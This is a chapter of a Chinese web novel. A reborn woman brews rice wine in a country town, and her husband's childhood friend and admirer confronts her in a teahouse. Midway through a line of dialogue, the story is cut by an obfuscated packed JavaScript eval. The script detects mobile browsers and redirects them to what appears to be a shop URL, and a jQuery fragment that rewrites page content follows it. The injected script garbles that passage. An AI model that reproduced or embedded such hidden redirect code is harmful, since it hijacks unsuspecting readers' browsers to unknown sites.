第六章微醺时分与不速之客
王慕青的第二缸酒，在第七天清晨出酒了。
她像往常一样五点来到三叔公的院子，揭开缸盖时手有点抖，像在拆盲盒。棉被掀开，酒香先飘了出来——不是上次那种酸溜溜的失败味，而是清甜的、带着米香的醇厚气息，闻着就让人心情好。
酒窝里积了小半碗清澈的酒液，颜色像淡琥珀。她小心地舀起一勺，尝了一口。
甜，但不腻。酒味很淡，米香浓郁，咽下去后喉咙里还有回甘，像小时候偷吃外婆做的酒酿圆子。
“成了！”她眼睛一亮，忍不住又喝了一勺，这回喝出了点成就感。
三叔公不知什么时候走过来，动作轻得像猫。他接过勺子尝了尝，咂咂嘴，缺牙的嘴抿了抿：“嗯，能喝了。”
王慕青脸上刚露出笑容，老头儿又说：“但还差得远。”
“差哪儿？”王慕青不服气，觉得这老头儿就是爱打击人，“这不挺好的吗？甜度适中，酒香也有。”
“好？”三叔公把勺子放回缸里，背着手围着酒缸转了一圈，像将军视察士兵，“你自己再喝一口，慢慢品，别像猪八戒吃人参果似的。”
王慕青照做，这次喝得慢，含在嘴里三秒才咽。
“是不是有点燥？”三叔公问，“喝完舌根发干，像吃了炒花生没喝水？”
王慕青仔细感受，还真是。刚才光顾着高兴没注意。
“发酵急了。”老头儿蹲下来，伸手摸了摸缸壁，“温度没控稳，头两天热了，酒发得快，就燥。好酒要温温柔柔地发，不能着急，跟谈恋爱一个道理——急吼吼的都没好结果。”
他掀开旁边一口缸，缸盖掀开的瞬间，更柔和的酒香飘出来，还带着淡淡的花香，不知加了什么。
“你闻闻这缸。”
王慕青凑过去，深深吸了一口，这香味让人想起春天的傍晚。
“这缸发多久了？”
“十天。”三叔公说，“还差两天才能喝。酿酒这事，急不来。你越想它快，它越跟你作对，像头犟驴。”
王慕青看着自己那缸“成了但没完全成”的酒，有点沮丧。她以为这次够小心了，温度计量了五遍，棉被裹了三层，结果还是没做到完美。
“不过，”三叔公话锋一转，缺牙的嘴咧了咧，“第一次能酿成这样，算不错了。比小远强，他当年酿的那缸，酸得能当醋，喂猪猪都嫌弃。”
王慕青这才笑了：“那这缸……”
“分装出来，给街坊邻居尝尝。”三叔公说，“听听大家怎么说。酒是给人喝的，人说好才是好，你自己说好不算——就像我年轻时觉得自己帅，结果姑娘们都说我像瘦猴。”
王慕青笑着点头，找出干净的玻璃瓶开始装酒。装了二十多瓶，每瓶都贴上她手写的标签：“青塘初酿·试验品”，下面还画了个小小的酒坛子。
“下午别来了。”三叔公突然说。
“为什么？”
“酒成了，该歇歇。”老头儿点了旱烟，蹲在屋檐下抽起来，“你也累了一个多星期，回去睡个午觉，醒醒脑子。明天开始学第二道工序：调酒——就是往酒里加东西，桂花啊玫瑰啊，让味道更丰富。”
王慕青这才感到浑身酸痛。这七天她像个陀螺，脑子里全是温度时间比例，梦里都在算发酵公式。现在放松下来，困意立刻涌上来，像潮水拍岸。
她提着两瓶酒回到家，母亲正在院子里晒辣椒，红彤彤一片。
“妈，尝尝。”她把酒瓶递过去。
母亲尝了一口，眼睛亮了：“这你酿的？比你三姨酿的还好喝！你三姨酿了三十年酒了！”
“真的？”王慕青心里美滋滋。
“真的！”母亲又喝了一口，“就是有点……说不上来，好像劲儿有点大？喝下去肚子里暖烘烘的。”
王慕青苦笑，果然还是“燥”。看来三叔公的舌头比仪器还准。
她给左邻右舍都送了酒。张婶尝了说要订几瓶，给她儿子结婚用。李大爷说比他去年买的那瓶五十块的还好喝。王慕青没收钱，说下次酿好了再正式卖，这次是试验品，免费品尝。
回到房间，她倒在床上，几乎是秒睡。这一觉睡得天昏地暗，醒来时已经是下午三点。阳光透过窗帘缝隙照进来，在墙上投出光斑，光斑随着窗帘晃动而摇摆，像在跳舞。
她坐起来，发了几分钟呆，才想起今天不用去三叔公那儿。
突然闲下来，有点不习惯，像一直紧绷的弦突然松了。
手机有几条未读消息。陈远发的：“听说你酒酿成了！恭喜！晚上来我家吃饭，我妈做了红烧肉！管够！”
梁海安发的：“在江城开会。三叔公说下周教调酒，我买了些资料书，周末带过去。”后面还附了张照片，是几本厚厚的书，《传统酒类酿造技法》《风味调配原理》，看着就很专业。
还有一条陌生号码：“王小姐你好，我是林徽。我来青塘镇了，想跟你见一面。方便的话，下午四点，镇口的茶馆。”
王慕青盯着那条消息看了很久，久到屏幕自动暗了又按亮。
林徽。上辈子她只在照片和梁海安的手机里见过这个名字。梁海安的青梅竹马，高中同学，大学一起出国，后来在海安集团海外事业部当总监。漂亮，能干，家世好，是那种走在路上会让人回头看的女人。
也是梁海安心里的白月光。
虽然梁海安从不承认，但王慕青知道。他书房抽屉里有一张旧照片，高中毕业照，他和林徽站在一起，笑得灿烂，青春逼人。那张照片他一直留着，放在一个木相框里，偶尔会拿出来看。
王慕青回了一条：“有什么事电话里说吧。”
消息很快回复，快得像在等着：“关于海安。也关于你。见面谈吧，不会耽误你太久。”
王慕青想了想，手指在屏幕上悬停几秒，还是回了个“好”。
她洗了把脸，冷水拍在脸上让人清醒。换了件干净衣服，简单的白T恤和牛仔裤，对着镜子看了看。镜子里的人晒黑了些，脸颊有了点健康的光泽，但眼睛很亮，没有了过去那种小心翼翼、总在观察别人脸色的神情。
挺好。她想。
下午四点，镇口茶馆。
林徽坐在最靠外的位置，那里光线最好。她穿着米白色的套装裙，剪裁合体，面料一看就不便宜。高跟鞋，精致的妆容，头发一丝不苟地挽在脑后。在这个灰扑扑的、墙上还贴着“农家土鸡”广告的茶馆里，像只误入鸡群的白鹤，格格不入得让人想笑。
她面前摆着一杯茶，没动。手指轻轻敲着桌面，指甲修剪得很整齐，涂着淡粉色的指甲油。显然她已经等了一会儿，有些不耐烦了。
“林小姐。”王慕青在她对面坐下，椅子腿在水泥地上拖出刺耳的声音。
林徽抬眼，上下打量她，眼神里有审视，有不解，还有一丝不易察觉的轻蔑——那种“你怎么配”的轻蔑。
“王小姐，久仰。”林徽开口，声音清脆好听，像播音员，“没想到我们第一次见面是在这种地方。”
“我也没想到。”王慕青叫了杯茶，对老板喊，“要最便宜的那种！”转头对林徽笑笑，“这儿的茶都一个味，贵的便宜的没区别，不如省点钱。”
林徽的嘴角抽了抽。
“林小姐找我什么事？”王慕青直接问。
林徽顿了顿，显然在组织语言：“听说你和海安在办离婚？”
“是。”
“为什么？”林徽问得很直接，像在面试，“据我所知，海安对你很好。你在海安集团工作，他给你安排了轻松的职位。你住着江城最好的小区，开着不错的车。很多女人梦寐以求的生活，你为什么要放弃？”
王慕青笑了，笑得很真诚：“林小姐，你是在替梁海安打抱不平，还是在替他妈妈问话？”
“我只是不明白。”林徽皱眉，精致的眉头皱起来也很好看，“海安这段时间很不对劲。他把公司的事都推给副总，三天两头往这里跑。上周的董事会，他居然提出要成立乡村振兴事业部，还要投资传统手工艺。董事们都快吵翻了，说这跟公司主业完全不搭边，是瞎胡闹。”
她看着王慕青，眼神锐利：“是因为你吧？因为你要在这里酿什么甜酒？”
王慕青喝了口茶，很苦。老板的茶叶放多了，也可能是泡久了。
“林小姐，”她放下茶杯，陶瓷磕在桌上发出轻响，“第一，我和梁海安离婚是我们的事，跟你无关。第二，他要投资什么，是他作为董事长的决策，也跟我无关。第三，如果你今天来是为了让我劝他回心转意，那你找错人了——我现在最不想管的就是他的事。”
林徽没想到她这么直接，愣了一下。茶馆里很安静，后厨传来的炒菜声都停了，两个打麻将的老人动作也慢了，显然在竖着耳朵听这边的对话。
“我没有……”林徽试图解释。
“你有。”王慕青平静地说，语气像在陈述一个事实，“你喜欢梁海安，很多年了。你觉得我配不上他，觉得我耽误了他。现在我要走了，你本该高兴，但又发现他居然开始在意我了，所以你不安，你想来看看，我到底有什么魔力，能让他这么反常。”
林徽的脸色变了，从白到红，又从红到白，像调色盘。
“我说对了吗？”王慕青问，拿起茶杯又喝了一口，这次适应了苦味。
林徽深吸一口气，胸口起伏。她盯着王慕青看了很久，久到王慕青以为她不会回答了。
“是，我喜欢他。”林徽终于开口，声音低了下去，“从高中就喜欢。但我从来没跟他表白过，因为我知道，那时候他心里只有事业，装不下别的。”
她盯着桌上的茶杯，茶已经凉了，表面浮着一层薄薄的油光：“后来他娶了你，我告诉自己，该放下了。我申请调去海外，三年没回来。我以为你们过得很好，以为他找到了合适的人。”
她抬起头，眼睛里有王慕青熟悉的东西——那种爱而不得的痛。上辈子的王慕青，眼里也常有这种神情。
“可是这次回来，我发现根本不是那样。”林徽说，“他书房里还放着我们的毕业照，但他看你的眼神，是以前从来没有过的——即使在你根本不知道的时候。”
“他开始在乎你吃什么，睡得好不好，开始研究他以前根本不会碰的东西，什么甜酒什么乡村振兴。”林徽的声音有点抖，“王慕青，你到底做了什么？你给他下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177361|196920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了什么蛊？”
王慕青沉默了。
她想起上辈子，林徽回国后，梁海安连续一周陪她吃饭。她一个人在家等，等到半夜，饭菜热了又热。后来公司年会，林徽作为海外事业部总监上台发言，优雅自信，侃侃而谈。梁海安在台下看着，眼里有欣赏的光，那种光他从来没给过她。
那时她多羡慕啊。羡慕林徽的自信，羡慕她能站在梁海安身边，和他谈论她听不懂的事业和未来。
可现在，林徽在羡慕她？
真讽刺。命运这个编剧，大概是个爱恶作剧的。
“我什么都没做。”王慕青说，声音很平静，“我只是不再爱他了，不再围着他转了，开始过我自己的生活。仅此而已。”
林徽摇头，精致的发型一丝不乱：“不可能。你肯定用了什么手段，欲擒故纵还是……”
“林小姐，”王慕青打断她，身体前倾，直视对方的眼睛，“你觉得一个男人，为什么会爱一个女人？”
林徽愣住。
“是因为这个女人漂亮？能干？家世好？”王慕青说，“也许是。但更重要的是，这个女人是不是她自己——不是谁的附属，不是谁的影子，就是一个完整的、独立的人。”
她站起来，椅子腿又发出刺耳的声音：“如果你今天来是想让我离梁海安远点，那我告诉你：我已经在这么做了。如果你想让我劝他别搞什么乡村振兴，那抱歉，我没那个兴趣——他有他的选择，我有我的路。”
她放下茶钱，五块钱的纸币压在茶杯下：“茶我请了。林小姐慢用，这儿虽然简陋，但茶是真茶叶，不是茶包。”
走出茶馆，夕阳正好。晚霞把整个镇子染成金色，炊烟袅袅升起，空气里有各家各户的饭菜香，混着柴火味，是城市没有的温暖。
王慕青深吸一口气，觉得心情莫名舒畅，像闷了很久的屋子开了窗。
原来把话说清楚，这么爽。
她不知道的是，茶馆里，林徽坐在原地，看着那杯冷掉的茶，发了很久的呆。
手机响了，是梁海安。
“林徽，听说你去青塘镇了？”梁海安的声音从听筒传来，有些急。
“嗯。”林徽声音有点哑，“来见见王慕青。”
电话那头沉默了几秒，沉默得让人心慌：“你跟她说了什么？”
“没什么。”林徽苦笑，精致的妆容也掩不住疲惫，“只是确认了一件事。”
“什么事？”
“你真的爱上她了。”林徽说，每个字都像在往自己心上扎刀，“不是责任，不是习惯，是爱。梁海安，你爱上你妻子了，可惜你发现得太晚，晚到她已经走远了。”
梁海安没说话，只有呼吸声透过听筒传来。
“我不会再来了。”林徽站起来，整理了一下裙摆，动作依然优雅，“海安，作为朋友，我给你一个建议：如果你真的想挽回，就放下你所有的骄傲和自以为是。她不是以前那个王慕青了——现在的她，眼里没有你了。”
电话挂断。
林徽走出茶馆，夕阳把她的影子拉得很长。她回头看了一眼这个灰扑扑的小镇，转身走向停在路边的车。高跟鞋在土路上走得不稳，但她背挺得很直。
茶馆里，打麻将的老人之一摇头：“这姑娘，长得挺俊，就是脑子不转弯。”
另一个附和：“就是。人家小两口的事，她掺和啥。”
“不过王家那闺女是真变了，说话一套一套的。”
“变了挺好，以前太软，现在硬气。”
老人们继续打麻将，牌摔得啪啪响。
而此刻，江城海安集团顶层办公室，梁海安站在落地窗前，看着脚下的车水马龙。城市的夜晚华灯初上，繁华而冷漠，像一张巨大的、闪光的网。
手机又响，是助理：“梁总，乡村振兴事业部的提案，董事会那边还是不同意。张董说，除非您能证明这个项目有商业价值，否则他们不会签字。”
“告诉他们，”梁海安说，声音很稳，“这个项目我私人投资，不走公司账。但如果成功了，利润归公司。亏了，算我的。”
助理愣住了，话筒里传来倒吸冷气的声音：“梁总，这……这风险太大了，您三思啊！”
“照我说的做。”梁海安挂了电话。
他走到办公桌前，打开电脑，翻出青塘镇的卫星地图。那个小小的镇子在屏幕上只是一个点，放大才能看到零星的房屋和田野。
但他知道，那里有个人，正在酿一缸酒。那酒可能不完美，可能还差得远，但她会继续酿，一遍又一遍，直到酿出最好的。
就像他，可能做得不够好，可能还差得远，但他会继续做，直到她能重新看他一眼，哪怕只是淡淡的一眼。
窗外，江城的夜晚越来越亮。霓虹闪烁，车流如织，这个城市从不缺故事。
梁海安关掉电脑，屏幕暗下去的瞬间，他看见自己的倒影——眉头习惯性地皱着，眼神里有他从未见过的茫然。
他拿起车钥匙，金属冰凉。
他想回青塘镇了。
现在就想。
哪怕只能远远看一眼那栋亮着灯的老房子，看一眼窗户里那个可能正在研究酒方的人。